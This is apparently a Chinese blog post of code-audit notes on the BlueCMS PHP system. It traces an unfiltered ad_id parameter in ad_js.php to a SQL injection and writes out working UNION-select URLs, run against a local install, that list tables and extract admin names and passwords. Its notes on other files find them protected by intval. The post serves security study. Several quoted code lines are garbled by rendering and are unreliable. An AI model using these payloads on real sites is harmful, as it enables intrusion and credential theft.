bluecms审计笔记

##title:bluecms审计笔记

在本地下载bluecms源码并搭建

利用代码审计工具进行自动扫描,一一审计可能出现的漏洞

第一条说存在sql注入,我们点开这个文件看看。

在ad_js.php中

$ad = d b − > g e t o n e ( " S E L E C T ∗ F R O M " . t a b l e ( ′ a d ′ ) . " W H E R E a d i d = " . db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =". db>getone("SELECTFROM".table(ad)."WHEREadid=".ad_id);

自定义的getone()函数中的语句是查询ad表有多少列的。查询条件是$ad_id。那我们定位getone()函数看看

在mysql.class.php中

function getone($sql, $type=MYSQL_ASSOC){
$query = t h i s − > q u e r y ( this->query( this>query(sql,$this->linkid);
r o w = m y s q l f e t c h a r r a y ( row = mysql_fetch_array( row=mysqlfetcharray(query, $type);
return $row;
}

常规的数据库查询语法,我们再看看$ad_id,全文搜索,发现如下

a d i d = ! e m p t y ( ad_id = !empty( adid=!empty(_GET[‘ad_id’]) ? trim($_GET[‘ad_id’]) : ‘’;

$ad_id没有做任何过滤处理,导致sql注入

  • trim — 去除字符串首尾处的空白字符(或者其他字符)
  • empty — 检查一个变量是否为空

那我们在本地环境,找到ad_js.php页面进行,构造注入

发现字段为7,这里为布尔注入,正确返回空页面,错误返回错误页面。
查数据库:

view-source:http://localhost:8088/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema=database()

查表:

view-source:http://localhost:8088/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema=0x626c7565636d73

当然可以查询所有的表:

view-source:http://localhost:8088/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

效果如下,就不用一个个查询了

  • concat
  • concat_ws
  • group_concat
  • 连接多个字符串成一个字符的函数

查询账号密码:

view-source:http://localhost:8088/bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

第一个注入漏洞审计完成。

点开第二条可能出现的漏洞的文件ann.php

  • $current_act = d b − > g e t f i r s t ( " S E L E C T c a t n a m e F R O M " . t a b l e ( ′ a n n c a t ′ ) . " W H E R E c i d = " . db->getfirst("SELECT cat_name FROM ".table('ann_cat')." WHERE cid=". db>getfirst("SELECTcatnameFROM".table(anncat)."WHEREcid=".cid);
  • d b − > q u e r y ( " U P D A T E " . t a b l e ( ′ a n n ′ ) . " S E T c l i c k = c l i c k + 1 W H E R E a n n i d = " . db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id = ". db>query("UPDATE".table(ann)."SETclick=click+1WHEREannid=".ann_id);

跟进 a n n i 和 ann_i和 annicid变量

发现被intval函数给限制了

  • intval — 获取变量的整数值

点开第三条可能出现的漏洞文件comment.php
$id变量限制和第二一样

点开第四条index.php
同上,就说了

点开第五条
追踪$id参数

i d = ! e m p t y ( id = !empty( id=!empty(_REQUEST[‘id’]) ? intval($_REQUEST[‘id’]) : ‘’;

这里也被限制了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值